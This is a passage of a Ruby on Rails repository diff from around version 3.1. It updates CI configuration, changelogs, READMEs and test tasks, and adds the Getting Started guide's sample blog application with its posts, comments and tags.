Default is 10.seconds, which should be OK for a local -# SVN repository, but probably isn't very polite for a public repository, such as RubyForge. This can also be set for -# each project individually, through project.scheduler.polling_interval option: -# Configuration.default_polling_interval = 1.minute - -# How often the dashboard page refreshes itself. If you have more than 10-20 dashboards open, -# it is advisable to set it to something higher than the default 5 seconds: -Configuration.dashboard_refresh_interval = 60.seconds - -# Site-wide setting for the email "from" field. This can also be set on per-project basis, -# through project.email.notifier.from attribute -Configuration.email_from = 'rails-ci@wyeworks.com' - -# Root URL of the dashboard application. Setting this attribute allows various notifiers to include a link to the -# build page in the notification message. -Configuration.dashboard_url = 'http://rails-ci.wyeworks.com/' - -# If you don't want to allow triggering builds through dashboard Build Now button. Useful when you host CC.rb as a -# public web site (such as http://cruisecontrolrb.thoughtworks.com/projects - try clicking on Build Now button there -# and see what happens): -Configuration.disable_build_now = true - -# If you want to only allow one project to build at a time, uncomment this line -# by default, cruise allows multiple projects to build at a time -Configuration.serialize_builds = true - -# Amount of time a project will wait to build before failing when build serialization is on -Configuration.serialized_build_timeout = 3.hours - -# To delete build when there are more than a certain number present, uncomment this line - it will make the dashboard -# perform better -BuildReaper.number_of_builds_to_keep = 100 - -# any files that you'd like to override in cruise, keep in ~/.cruise, and copy over when this file is loaded like this -site_css = CRUISE_DATA_ROOT + "/site.css" -FileUtils.cp site_css, Rails.root + "/public/stylesheets/site.css" if File.exists? site_css diff --git a/rails.gemspec b/rails.gemspec index bb3fe85c2b..3377b4e175 100644 --- a/rails.gemspec +++ b/rails.gemspec @@ -15,7 +15,7 @@ Gem::Specification.new do |s| s.homepage = 'http://www.rubyonrails.org' s.bindir = 'bin' - s.executables = ['rails'] + s.executables = [] s.add_dependency('activesupport', version) s.add_dependency('actionpack', version) diff --git a/railties/CHANGELOG b/railties/CHANGELOG index a9b4deb551..187dd2428f 100644 --- a/railties/CHANGELOG +++ b/railties/CHANGELOG @@ -1,12 +1,46 @@ *Rails 3.2.0 (unreleased)* +* Default options to `rails new` can be set in ~/.railsrc [Guillermo Iguaran] + +* Added destroy alias to Rails engines. [Guillermo Iguaran] + +* Added destroy alias for Rails command line. This allows the following: `rails d model post`. [Andrey Ognevsky] + * Attributes on scaffold and model generators default to string. This allows the following: "rails g scaffold Post title body:text author" [José Valim] * Removed old plugin generator (`rails generate plugin`) in favor of `rails plugin new` command. [Guillermo Iguaran] * Removed old 'config.paths.app.controller' API in favor of 'config.paths["app/controller"]' API. [Guillermo Iguaran] -*Rails 3.1.0 (unreleased)* + +*Rails 3.1.1 + +* Add jquery-rails to Gemfile of plugins, test/dummy app needs it. Closes #3091. [Santiago Pastorino] + +* Add config.assets.initialize_on_precompile which, when set to false, forces + `rake assets:precompile` to load the application but does not initialize it. + + To the app developer, this means configuration add in + config/initializers/* will not be executed. + + Plugins developers need to special case their initializers that are + meant to be run in the assets group by adding :group => :assets. + + +*Rails 3.1.0 (August 30, 2011)* + +* The default database schema file is written as UTF-8. [Aaron Patterson] + +* Generated apps with --dev or --edge flags depend on git versions of +sass-rails and coffee-rails. [Santiago Pastorino] + +* Rack::Sendfile middleware is used only if x_sendfile_header is present. [Santiago Pastorino] + +* Add JavaScript Runtime name to the Rails Info properties. [DHH] + +* Make pp enabled by default in Rails console. [Akira Matsuda] + +* Add alias `r` for rails runner. [Jordi Romero] * Make sprockets/railtie require explicit and add --skip-sprockets to app generator [José Valim] diff --git a/railties/README.rdoc b/railties/README.rdoc index 0457227473..95c43045b0 100644 --- a/railties/README.rdoc +++ b/railties/README.rdoc @@ -1,17 +1,17 @@ = Railties -- Gluing the Engine to the Rails -Railties is responsible to glue all frameworks together. Overall, it: +Railties is responsible for gluing all frameworks together. Overall, it: -* handles all the bootstrapping process for a Rails application; +* handles the bootstrapping process for a Rails application; -* manages rails command line interface; +* manages the +rails+ command line interface; -* provides Rails generators core; +* and provides the Rails generators core. == Download -The latest version of Railties can be installed with Rubygems: +The latest version of Railties can be installed with RubyGems: * gem install railties diff --git a/railties/Rakefile b/railties/Rakefile index be9a77d4e4..25e515e016 100755 --- a/railties/Rakefile +++ b/railties/Rakefile @@ -17,8 +17,13 @@ namespace :test do dir = ENV["TEST_DIR"] || "**" Dir["test/#{dir}/*_test.rb"].each do |file| next true if file.include?("fixtures") - ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME')) - sh(ruby, '-Itest', "-I#{File.dirname(__FILE__)}/../activesupport/lib", file) + dash_i = [ + 'test', + 'lib', + "#{File.dirname(__FILE__)}/../activesupport/lib", + "#{File.dirname(__FILE__)}/../actionpack/lib" + ] + ruby "-I#{dash_i.join ':'}", file end end end diff --git a/railties/bin/rails b/railties/bin/rails index a7d6938e0d..a1c4faaa73 100755 --- a/railties/bin/rails +++ b/railties/bin/rails @@ -1,2 +1,7 @@ #!/usr/bin/env ruby -require "rails/cli"
\ No newline at end of file + +if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git')) + railties_path = File.expand_path('../../lib', __FILE__) + $:.unshift(railties_path) +end +require "rails/cli" diff --git a/railties/guides/assets/images/i18n/demo_html_safe.png b/railties/guides/assets/images/i18n/demo_html_safe.png Binary files differnew file mode 100644 index 0000000000..f881f60dac --- /dev/null +++ b/railties/guides/assets/images/i18n/demo_html_safe.png diff --git a/railties/guides/assets/images/rails_welcome.png b/railties/guides/assets/images/rails_welcome.png Binary files differindex 0e02cf5a8c..f2aa210d19 100644 --- a/railties/guides/assets/images/rails_welcome.png +++ b/railties/guides/assets/images/rails_welcome.png diff --git a/railties/guides/code/getting_started/Gemfile b/railties/guides/code/getting_started/Gemfile new file mode 100644 index 0000000000..51774934cd --- /dev/null +++ b/railties/guides/code/getting_started/Gemfile @@ -0,0 +1,32 @@ +source 'http://rubygems.org' + +gem 'rails', '3.1.0' +# Bundle edge Rails instead: +# gem 'rails', :git => 'git://github.com/rails/rails.git' + +gem 'sqlite3' + + +# Gems used only for assets and not required +# in production environments by default. +group :assets do + gem 'sass-rails', " ~> 3.1.0" + gem 'coffee-rails', "~> 3.1.0" + gem 'uglifier' +end + +gem 'jquery-rails' + +# Use unicorn as the web server +# gem 'unicorn' + +# Deploy with Capistrano +# gem 'capistrano' + +# To use debugger +# gem 'ruby-debug19', :require => 'ruby-debug' + +group :test do + # Pretty printed test output + gem 'turn', :require => false +end diff --git a/railties/guides/code/getting_started/README b/railties/guides/code/getting_started/README new file mode 100644 index 0000000000..7c36f2356e --- /dev/null +++ b/railties/guides/code/getting_started/README @@ -0,0 +1,261 @@ +== Welcome to Rails + +Rails is a web-application framework that includes everything needed to create +database-backed web applications according to the Model-View-Control pattern. + +This pattern splits the view (also called the presentation) into "dumb" +templates that are primarily responsible for inserting pre-built data in between +HTML tags. The model contains the "smart" domain objects (such as Account, +Product, Person, Post) that holds all the business logic and knows how to +persist themselves to a database. The controller handles the incoming requests +(such as Save New Account, Update Product, Show Post) by manipulating the model +and directing data to the view. + +In Rails, the model is handled by what's called an object-relational mapping +layer entitled Active Record. This layer allows you to present the data from +database rows as objects and embellish these data objects with business logic +methods. You can read more about Active Record in +link:files/vendor/rails/activerecord/README.html. + +The controller and view are handled by the Action Pack, which handles both +layers by its two parts: Action View and Action Controller. These two layers +are bundled in a single package due to their heavy interdependence. This is +unlike the relationship between the Active Record and Action Pack that is much +more separate. Each of these packages can be used independently outside of +Rails. You can read more about Action Pack in +link:files/vendor/rails/actionpack/README.html. + + +== Getting Started + +1. At the command prompt, create a new Rails application: + <tt>rails new myapp</tt> (where <tt>myapp</tt> is the application name) + +2. Change directory to <tt>myapp</tt> and start the web server: + <tt>cd myapp; rails server</tt> (run with --help for options) + +3. Go to http://localhost:3000/ and you'll see: + "Welcome aboard: You're riding Ruby on Rails!" + +4. Follow the guidelines to start developing your application. You can find +the following resources handy: + +* The Getting Started Guide: http://guides.rubyonrails.org/getting_started.html +* Ruby on Rails Tutorial Book: http://www.railstutorial.org/ + + +== Debugging Rails + +Sometimes your application goes wrong. Fortunately there are a lot of tools that +will help you debug it and get it back on the rails. + +First area to check is the application log files. Have "tail -f" commands +running on the server.log and development.log. Rails will automatically display +debugging and runtime information to these files. Debugging info will also be +shown in the browser on requests from 127.0.0.1. + +You can also log your own messages directly into the log file from your code +using the Ruby logger class from inside your controllers. Example: + + class WeblogController < ActionController::Base + def destroy + @weblog = Weblog.find(params[:id]) + @weblog.destroy + logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!") + end + end + +The result will be a message in your log file along the lines of: + + Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1! + +More information on how to use the logger is at http://www.ruby-doc.org/core/ + +Also, Ruby documentation can be found at http://www.ruby-lang.org/. There are +several books available online as well: + +* Programming Ruby: http://www.ruby-doc.org/docs/ProgrammingRuby/ (Pickaxe) +* Learn to Program: http://pine.fm/LearnToProgram/ (a beginners guide) + +These two books will bring you up to speed on the Ruby language and also on +programming in general. + + +== Debugger + +Debugger support is available through the debugger command when you start your +Mongrel or WEBrick server with --debugger. This means that you can break out of +execution at any point in the code, investigate and change the model, and then, +resume execution! You need to install ruby-debug to run the server in debugging +mode. With gems, use <tt>sudo gem install ruby-debug</tt>. Example: + + class WeblogController < ActionController::Base + def index + @posts = Post.all + debugger + end + end + +So the controller will accept the action, run the first line, then present you +with a IRB prompt in the server window. Here you can do things like: + + >> @posts.inspect + => "[#<Post:0x14a6be8 + @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>, + #<Post:0x14a6620 + @attributes={"title"=>"Rails", "body"=>"Only ten..", "id"=>"2"}>]" + >> @posts.first.title = "hello from a debugger" + => "hello from a debugger" + +...and even better, you can examine how your runtime objects actually work: + + >> f = @posts.first + => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}> + >> f. + Display all 152 possibilities? (y or n) + +Finally, when you're ready to resume execution, you can enter "cont". + + +== Console + +The console is a Ruby shell, which allows you to interact with your +application's domain model. Here you'll have all parts of the application +configured, just like it is when the application is running. You can inspect +domain models, change values, and save to the database. Starting the script +without arguments will launch it in the development environment. + +To start the console, run <tt>rails console</tt> from the application +directory. + +Options: + +* Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications + made to the database. +* Passing an environment name as an argument will load the corresponding + environment. Example: <tt>rails console production</tt>. + +To reload your controllers and models after launching the console run +<tt>reload!</tt> + +More information about irb can be found at: +link:http://www.rubycentral.org/pickaxe/irb.html + + +== dbconsole + +You can go to the command line of your database directly through <tt>rails +dbconsole</tt>. You would be connected to the database with the credentials +defined in database.yml. Starting the script without arguments will connect you +to the development database. Passing an argument will connect you to a different +database, like <tt>rails dbconsole production</tt>. Currently works for MySQL, +PostgreSQL and SQLite 3. + +== Description of Contents + +The default directory structure of a generated Ruby on Rails application: + + |-- app + | |-- assets + | |-- images + | |-- javascripts + | `-- stylesheets + | |-- controllers + | |-- helpers + | |-- mailers + | |-- models + | `-- views + | `-- layouts + |-- config + | |-- environments + | |-- initializers + | `-- locales + |-- db + |-- doc + |-- lib + | `-- tasks + |-- log + |-- public + |-- script + |-- test + | |-- fixtures + | |-- functional + | |-- integration + | |-- performance + | `-- unit + |-- tmp + | |-- cache + | |-- pids + | |-- sessions + | `-- sockets + `-- vendor + |-- assets + `-- stylesheets + `-- plugins + +app + Holds all the code that's specific to this particular application. + +app/assets + Contains subdirectories for images, stylesheets, and JavaScript files. + +app/controllers + Holds controllers that should be named like weblogs_controller.rb for + automated URL mapping. All controllers should descend from + ApplicationController which itself descends from ActionController::Base. + +app/models + Holds models that should be named like post.rb. Models descend from + ActiveRecord::Base by default. + +app/views + Holds the template files for the view that should be named like + weblogs/index.html.erb for the WeblogsController#index action. All views use + eRuby syntax by default. + +app/views/layouts + Holds the template files for layouts to be used with views. This models the + common header/footer method of wrapping views. In your views, define a layout + using the <tt>layout :default</tt> and create a file named default.html.erb. + Inside default.html.erb, call <% yield %> to render the view using this + layout. + +app/helpers + Holds view helpers that should be named like weblogs_helper.rb. These are + generated for you automatically when using generators for controllers. + Helpers can be used to wrap functionality for your views into methods. + +config + Configuration files for the Rails environment, the routing map, the database, + and other dependencies. + +db + Contains the database schema in schema.rb. db/migrate contains all the + sequence of Migrations for your schema. + +doc + This directory is where your application documentation will be stored when + generated using <tt>rake doc:app</tt> + +lib + Application specific libraries. Basically, any kind of custom code that + doesn't belong under controllers, models, or helpers. This directory is in + the load path. + +public + The directory available for the web server. Also contains the dispatchers and the + default HTML files. This should be set as the DOCUMENT_ROOT of your web + server. + +script + Helper scripts for automation and generation. + +test + Unit and functional tests along with fixtures. When using the rails generate + command, template test files will be generated for you and placed in this + directory. + +vendor + External libraries that the application depends on. Also includes the plugins + subdirectory. If the app has frozen rails, those gems also go here, under + vendor/rails/. This directory is in the load path. diff --git a/railties/guides/code/getting_started/Rakefile b/railties/guides/code/getting_started/Rakefile new file mode 100644 index 0000000000..e1d1ec8615 --- /dev/null +++ b/railties/guides/code/getting_started/Rakefile @@ -0,0 +1,7 @@ +#!/usr/bin/env rake +# Add your own tasks in files placed in lib/tasks ending in .rake, +# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. + +require File.expand_path('../config/application', __FILE__) + +Blog::Application.load_tasks diff --git a/railties/guides/code/getting_started/app/assets/images/rails.png b/railties/guides/code/getting_started/app/assets/images/rails.png Binary files differnew file mode 100644 index 0000000000..d5edc04e65 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/images/rails.png diff --git a/railties/guides/code/getting_started/app/assets/javascripts/application.js b/railties/guides/code/getting_started/app/assets/javascripts/application.js new file mode 100644 index 0000000000..37c7bfcdb5 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/application.js @@ -0,0 +1,9 @@ +// This is a manifest file that'll be compiled into including all the files listed below. +// Add new JavaScript/Coffee code in separate files in this directory and they'll automatically +// be included in the compiled file accessible from http://example.com/assets/application.js +// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the +// the compiled file. +// +//= require jquery +//= require jquery_ujs +//= require_tree . diff --git a/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee new file mode 100644 index 0000000000..761567942f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee @@ -0,0 +1,3 @@ +# Place all the behaviors and hooks related to the matching controller here. +# All this logic will automatically be available in application.js. +# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/ diff --git a/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee new file mode 100644 index 0000000000..761567942f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee @@ -0,0 +1,3 @@ +# Place all the behaviors and hooks related to the matching controller here. +# All this logic will automatically be available in application.js. +# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/ diff --git a/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee new file mode 100644 index 0000000000..761567942f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee @@ -0,0 +1,3 @@ +# Place all the behaviors and hooks related to the matching controller here. +# All this logic will automatically be available in application.js. +# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/application.css b/railties/guides/code/getting_started/app/assets/stylesheets/application.css new file mode 100644 index 0000000000..fc25b5723f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/application.css @@ -0,0 +1,7 @@ +/* + * This is a manifest file that'll automatically include all the stylesheets available in this directory + * and any sub-directories. You're free to add application-wide styles to this file and they'll appear at + * the top of the compiled file, but it's generally better to create a new file per style scope. + *= require_self + *= require_tree . +*/
\ No newline at end of file diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss new file mode 100644 index 0000000000..e730912783 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss @@ -0,0 +1,3 @@ +// Place all the styles related to the Comments controller here. +// They will automatically be included in application.css. +// You can use Sass (SCSS) here: http://sass-lang.com/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss new file mode 100644 index 0000000000..f0ddc6846a --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss @@ -0,0 +1,3 @@ +// Place all the styles related to the home controller here. +// They will automatically be included in application.css. +// You can use Sass (SCSS) here: http://sass-lang.com/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss new file mode 100644 index 0000000000..ed4dfd10f2 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss @@ -0,0 +1,3 @@ +// Place all the styles related to the Posts controller here. +// They will automatically be included in application.css. +// You can use Sass (SCSS) here: http://sass-lang.com/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss new file mode 100644 index 0000000000..05188f08ed --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss @@ -0,0 +1,56 @@ +body { + background-color: #fff; + color: #333; + font-family: verdana, arial, helvetica, sans-serif; + font-size: 13px; + line-height: 18px; } + +p, ol, ul, td { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 13px; + line-height: 18px; } + +pre { + background-color: #eee; + padding: 10px; + font-size: 11px; } + +a { + color: #000; + &:visited { + color: #666; } + &:hover { + color: #fff; + background-color: #000; } } + +div { + &.field, &.actions { + margin-bottom: 10px; } } + +#notice { + color: green; } + +.field_with_errors { + padding: 2px; + background-color: red; + display: table; } + +#error_explanation { + width: 450px; + border: 2px solid red; + padding: 7px; + padding-bottom: 0; + margin-bottom: 20px; + background-color: #f0f0f0; + h2 { + text-align: left; + font-weight: bold; + padding: 5px 5px 5px 15px; + font-size: 12px; + margin: -7px; + margin-bottom: 0px; + background-color: #c00; + color: #fff; } + ul li { + font-size: 12px; + list-style: square; } } diff --git a/railties/guides/code/getting_started/app/controllers/application_controller.rb b/railties/guides/code/getting_started/app/controllers/application_controller.rb new file mode 100644 index 0000000000..e8065d9505 --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/application_controller.rb @@ -0,0 +1,3 @@ +class ApplicationController < ActionController::Base + protect_from_forgery +end diff --git a/railties/guides/code/getting_started/app/controllers/comments_controller.rb b/railties/guides/code/getting_started/app/controllers/comments_controller.rb new file mode 100644 index 0000000000..7447fd078b --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/comments_controller.rb @@ -0,0 +1,16 @@ +class CommentsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy + def create + @post = Post.find(params[:post_id]) + @comment = @post.comments.create(params[:comment]) + redirect_to post_path(@post) + end + + def destroy + @post = Post.find(params[:post_id]) + @comment = @post.comments.find(params[:id]) + @comment.destroy + redirect_to post_path(@post) + end + +end diff --git a/railties/guides/code/getting_started/app/controllers/home_controller.rb b/railties/guides/code/getting_started/app/controllers/home_controller.rb new file mode 100644 index 0000000000..6cc31c1ca3 --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/home_controller.rb @@ -0,0 +1,5 @@ +class HomeController < ApplicationController + def index + end + +end diff --git a/railties/guides/code/getting_started/app/controllers/posts_controller.rb b/railties/guides/code/getting_started/app/controllers/posts_controller.rb new file mode 100644 index 0000000000..7e903c984c --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/posts_controller.rb @@ -0,0 +1,84 @@ +class PostsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + # GET /posts + # GET /posts.json + def index + @posts = Post.all + + respond_to do |format| + format.html # index.html.erb + format.json { render json: @posts } + end + end + + # GET /posts/1 + # GET /posts/1.json + def show + @post = Post.find(params[:id]) + + respond_to do |format| + format.html # show.html.erb + format.json { render json: @post } + end + end + + # GET /posts/new + # GET /posts/new.json + def new + @post = Post.new + + respond_to do |format| + format.html # new.html.erb + format.json { render json: @post } + end + end + + # GET /posts/1/edit + def edit + @post = Post.find(params[:id]) + end + + # POST /posts + # POST /posts.json + def create + @post = Post.new(params[:post]) + + respond_to do |format| + if @post.save + format.html { redirect_to @post, notice: 'Post was successfully created.' } + format.json { render json: @post, status: :created, location: @post } + else + format.html { render action: "new" } + format.json { render json: @post.errors, status: :unprocessable_entity } + end + end + end + + # PUT /posts/1 + # PUT /posts/1.json + def update + @post = Post.find(params[:id]) + + respond_to do |format| + if @post.update_attributes(params[:post]) + format.html { redirect_to @post, notice: 'Post was successfully updated.' } + format.json { head :ok } + else + format.html { render action: "edit" } + format.json { render json: @post.errors, status: :unprocessable_entity } + end + end + end + + # DELETE /posts/1 + # DELETE /posts/1.json + def destroy + @post = Post.find(params[:id]) + @post.destroy + + respond_to do |format| + format.html { redirect_to posts_url } + format.json { head :ok } + end + end +end diff --git a/railties/guides/code/getting_started/app/helpers/application_helper.rb b/railties/guides/code/getting_started/app/helpers/application_helper.rb new file mode 100644 index 0000000000..de6be7945c --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/application_helper.rb @@ -0,0 +1,2 @@ +module ApplicationHelper +end diff --git a/railties/guides/code/getting_started/app/helpers/comments_helper.rb b/railties/guides/code/getting_started/app/helpers/comments_helper.rb new file mode 100644 index 0000000000..0ec9ca5f2d --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/comments_helper.rb @@ -0,0 +1,2 @@ +module CommentsHelper +end diff --git a/railties/guides/code/getting_started/app/helpers/home_helper.rb b/railties/guides/code/getting_started/app/helpers/home_helper.rb new file mode 100644 index 0000000000..23de56ac60 --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/home_helper.rb @@ -0,0 +1,2 @@ +module HomeHelper +end diff --git a/railties/guides/code/getting_started/app/helpers/posts_helper.rb b/railties/guides/code/getting_started/app/helpers/posts_helper.rb new file mode 100644 index 0000000000..b6e8e67894 --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/posts_helper.rb @@ -0,0 +1,5 @@ +module PostsHelper + def join_tags(post) + post.tags.map { |t| t.name }.join(", ") + end +end diff --git a/railties/guides/code/getting_started/app/mailers/.gitkeep b/railties/guides/code/getting_started/app/mailers/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/app/mailers/.gitkeep diff --git a/railties/guides/code/getting_started/app/models/.gitkeep b/railties/guides/code/getting_started/app/models/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/.gitkeep diff --git a/railties/guides/code/getting_started/app/models/comment.rb b/railties/guides/code/getting_started/app/models/comment.rb new file mode 100644 index 0000000000..4e76c5b5b0 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/comment.rb @@ -0,0 +1,3 @@ +class Comment < ActiveRecord::Base + belongs_to :post +end diff --git a/railties/guides/code/getting_started/app/models/post.rb b/railties/guides/code/getting_started/app/models/post.rb new file mode 100644 index 0000000000..61c2b5ae44 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/post.rb @@ -0,0 +1,11 @@ +class Post < ActiveRecord::Base + validates :name, :presence => true + validates :title, :presence => true, + :length => { :minimum => 5 } + + has_many :comments, :dependent => :destroy + has_many :tags + + accepts_nested_attributes_for :tags, :allow_destroy => :true, + :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } } +end diff --git a/railties/guides/code/getting_started/app/models/tag.rb b/railties/guides/code/getting_started/app/models/tag.rb new file mode 100644 index 0000000000..30992e8ba9 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/tag.rb @@ -0,0 +1,3 @@ +class Tag < ActiveRecord::Base + belongs_to :post +end diff --git a/railties/guides/code/getting_started/app/views/comments/_comment.html.erb b/railties/guides/code/getting_started/app/views/comments/_comment.html.erb new file mode 100644 index 0000000000..4c3fbf26cd --- /dev/null +++ b/railties/guides/code/getting_started/app/views/comments/_comment.html.erb @@ -0,0 +1,15 @@ +<p> + <b>Commenter:</b> + <%= comment.commenter %> +</p> + +<p> + <b>Comment:</b> + <%= comment.body %> +</p> + +<p> + <%= link_to 'Destroy Comment', [comment.post, comment], + :confirm => 'Are you sure?', + :method => :delete %> +</p> diff --git a/railties/guides/code/getting_started/app/views/comments/_form.html.erb b/railties/guides/code/getting_started/app/views/comments/_form.html.erb new file mode 100644 index 0000000000..d15bdd6b59 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/comments/_form.html.erb @@ -0,0 +1,13 @@ +<%= form_for([@post, @post.comments.build]) do |f| %> + <div class="field"> + <%= f.label :commenter %><br /> + <%= f.text_field :commenter %> + </div> + <div class="field"> + <%= f.label :body %><br /> + <%= f.text_area :body %> + </div> + <div class="actions"> + <%= f.submit %> + </div> +<% end %> diff --git a/railties/guides/code/getting_started/app/views/home/index.html.erb b/railties/guides/code/getting_started/app/views/home/index.html.erb new file mode 100644 index 0000000000..bb4f3dcd1f --- /dev/null +++ b/railties/guides/code/getting_started/app/views/home/index.html.erb @@ -0,0 +1,2 @@ +<h1>Hello, Rails!</h1> +<%= link_to "My Blog", posts_path %> diff --git a/railties/guides/code/getting_started/app/views/layouts/application.html.erb b/railties/guides/code/getting_started/app/views/layouts/application.html.erb new file mode 100644 index 0000000000..1e1e4b9a99 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/layouts/application.html.erb @@ -0,0 +1,14 @@ +<!DOCTYPE html> +<html> +<head> + <title>Blog</title> + <%= stylesheet_link_tag "application" %> + <%= javascript_include_tag "application" %> + <%= csrf_meta_tags %> +</head> +<body style="background: #EEEEEE;"> + +<%= yield %> + +</body> +</html> diff --git a/railties/guides/code/getting_started/app/views/posts/_form.html.erb b/railties/guides/code/getting_started/app/views/posts/_form.html.erb new file mode 100644 index 0000000000..e27da7f413 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/_form.html.erb @@ -0,0 +1,32 @@ +<% @post.tags.build %> +<%= form_for(@post) do |post_form| %> + <% if @post.errors.any? %> + <div id="errorExplanation"> + <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> + <ul> + <% @post.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> + <% end %> + + <div class="field"> + <%= post_form.label :name %><br /> + <%= post_form.text_field :name %> + </div> + <div class="field"> + <%= post_form.label :title %><br /> + <%= post_form.text_field :title %> + </div> + <div class="field"> + <%= post_form.label :content %><br /> + <%= post_form.text_area :content %> + </div> + <h2>Tags</h2> + <%= render :partial => 'tags/form', + :locals => {:form => post_form} %> + <div class="actions"> + <%= post_form.submit %> + </div> +<% end %> diff --git a/railties/guides/code/getting_started/app/views/posts/edit.html.erb b/railties/guides/code/getting_started/app/views/posts/edit.html.erb new file mode 100644 index 0000000000..720580236b --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/edit.html.erb @@ -0,0 +1,6 @@ +<h1>Editing post</h1> + +<%= render 'form' %> + +<%= link_to 'Show', @post %> | +<%= link_to 'Back', posts_path %> diff --git a/railties/guides/code/getting_started/app/views/posts/index.html.erb b/railties/guides/code/getting_started/app/views/posts/index.html.erb new file mode 100644 index 0000000000..45dee1b25f --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/index.html.erb @@ -0,0 +1,27 @@ +<h1>Listing posts</h1> + +<table> + <tr> + <th>Name</th> + <th>Title</th> + <th>Content</th> + <th></th> + <th></th> + <th></th> + </tr> + +<% @posts.each do |post| %> + <tr> + <td><%= post.name %></td> + <td><%= post.title %></td> + <td><%= post.content %></td> + <td><%= link_to 'Show', post %></td> + <td><%= link_to 'Edit', edit_post_path(post) %></td> + <td><%= link_to 'Destroy', post, confirm: 'Are you sure?', method: :delete %></td> + </tr> +<% end %> +</table> + +<br /> + +<%= link_to 'New Post', new_post_path %> diff --git a/railties/guides/code/getting_started/app/views/posts/new.html.erb b/railties/guides/code/getting_started/app/views/posts/new.html.erb new file mode 100644 index 0000000000..36ad7421f9 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/new.html.erb @@ -0,0 +1,5 @@ +<h1>New post</h1> + +<%= render 'form' %> + +<%= link_to 'Back', posts_path %> diff --git a/railties/guides/code/getting_started/app/views/posts/show.html.erb b/railties/guides/code/getting_started/app/views/posts/show.html.erb new file mode 100644 index 0000000000..da78a9527b --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/show.html.erb @@ -0,0 +1,31 @@ +<p class="notice"><%= notice %></p> + +<p> + <b>Name:</b> + <%= @post.name %> +</p> + +<p> + <b>Title:</b> + <%= @post.title %> +</p> + +<p> + <b>Content:</b> + <%= @post.content %> +</p> + +<p> + <b>Tags:</b> + <%= join_tags(@post) %> +</p> + +<h2>Comments</h2> +<%= render @post.comments %> + +<h2>Add a comment:</h2> +<%= render "comments/form" %> + + +<%= link_to 'Edit Post', edit_post_path(@post) %> | +<%= link_to 'Back to Posts', posts_path %> | diff --git a/railties/guides/code/getting_started/app/views/tags/_form.html.erb b/railties/guides/code/getting_started/app/views/tags/_form.html.erb new file mode 100644 index 0000000000..7e424b0e20 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/tags/_form.html.erb @@ -0,0 +1,12 @@ +<%= form.fields_for :tags do |tag_form| %> + <div class="field"> + <%= tag_form.label :name, 'Tag:' %> + <%= tag_form.text_field :name %> + </div> + <% unless tag_form.object.nil? || tag_form.object.new_record? %> + <div class="field"> + <%= tag_form.label :_destroy, 'Remove:' %> + <%= 